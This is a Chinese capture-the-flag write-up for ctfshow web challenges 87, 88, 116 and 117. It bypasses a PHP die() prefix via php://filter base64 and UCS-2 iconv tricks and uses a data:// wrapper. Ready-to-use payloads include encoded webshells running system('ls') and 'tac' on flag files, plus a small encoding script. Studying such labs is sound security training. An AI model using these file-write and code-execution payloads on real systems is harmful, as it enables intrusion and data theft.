ctfshow web入门 web87--web88&&web116--web117

web87

神奇这道题我写了一个小时终于写好了
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);:整个函数调用的作用是将解码后的 file 作为目标文件路径,然后将前面定义的终止执行提示语句与 content 的内容拼接起来,一起写入到目标文件中。
意思是要进行url解码然后再写文件 并且要绕过死亡(file_put_content

content是写入内容,要进行base64编码 ,而base解码时,是4个一组,flag.php(要写入的文件),写入的内容<?php die('大佬别秀了');?>,只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了再与我们写的命令内容进行拼接

下面这篇文章是绕过死亡的
https://xz.aliyun.com/t/8163?time__1311=n4%2BxuDgDBDyGKAKD%3DD7Dl1oQ4iK4%2BD0KqPPoqx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F8163#toc-2

构造payload

php 复制代码
/?file=php://filter/write=convert.base64-decode/resource=1.php

两次URL编码(浏览器(hackbar)一次,题目绕过一次)为

php 复制代码
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

(工具用的bp的编码器,这个编码器我找了好久好久)

php 复制代码
<?php system('ls');?>

进行base64编码

复制代码
PD9waHAgc3lzdGVtKCdscycpOz8+

POST传参content=aaPD9waHAgc3lzdGVtKCdscycpOz8+
然后查看fl0g.php

php 复制代码
<?php system('tac fl0g.php');?>
复制代码
PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==
php 复制代码
content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==

web88

php伪协议进行绕过(但是编码的时候必须绕过=和+)
欧克了这样子就没有了

php 复制代码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PnNz

web116

是一个视频利用winhex分离源码(我还没下载具体步骤后面补充)

这里借图一用

正则匹配但是最后一句file_get_content($file);直接打开file这个文件

php 复制代码
?file=flag.php

抓包发送
到手

web117

用php伪协议绕过但是常见的编码都被过滤这里有一种新的编码

iconv.UCS-2LE.UCS-2BE编码就是把每两位字符换位。

php 复制代码
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

编码脚本

python 复制代码
str = "<?=system('tac f*');"
str_encoded = ''
for i in range(len(str)):
    if i % 2 == 1:
        str_encoded += str[i]
        str_encoded += str[i-1]
print(str_encoded) 		# ?<s=syet(mt'caf '*;)
php 复制代码
content=?<s=syet(mt'caf '*;)

然后访问1.php
到手

相关推荐
白帽子凯哥哥4 小时前
湖南网安基地:国家级实战化网安人才培养的“黄埔军校”
web安全·信息安全·零基础·渗透测试·安全服务
迎仔4 小时前
10-网络安全监控与事件响应:数字世界的智能监控与应急系统
网络·安全·web安全
kali-Myon7 小时前
2025春秋杯网络安全联赛冬季赛-day2
python·安全·web安全·ai·php·pwn·ctf
独行soc8 小时前
2026年渗透测试面试题总结-19(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
kali-Myon8 小时前
2025春秋杯网络安全联赛冬季赛-day1
java·sql·安全·web安全·ai·php·web
kali-Myon9 小时前
2025春秋杯网络安全联赛冬季赛-day3
python·安全·web安全·ai·php·web·ctf
迎仔9 小时前
05-AI与网络安全
人工智能·安全·web安全
临水逸11 小时前
一次路径穿越漏洞引发的NAS安全危机:飞牛fnOS漏洞深度剖析与用户自救指南
网络·安全·web安全
JMchen12311 小时前
Android网络安全实战:从HTTPS到双向认证
android·经验分享·网络协议·安全·web安全·https·kotlin
hzb6666612 小时前
unictf2026
开发语言·javascript·安全·web安全·php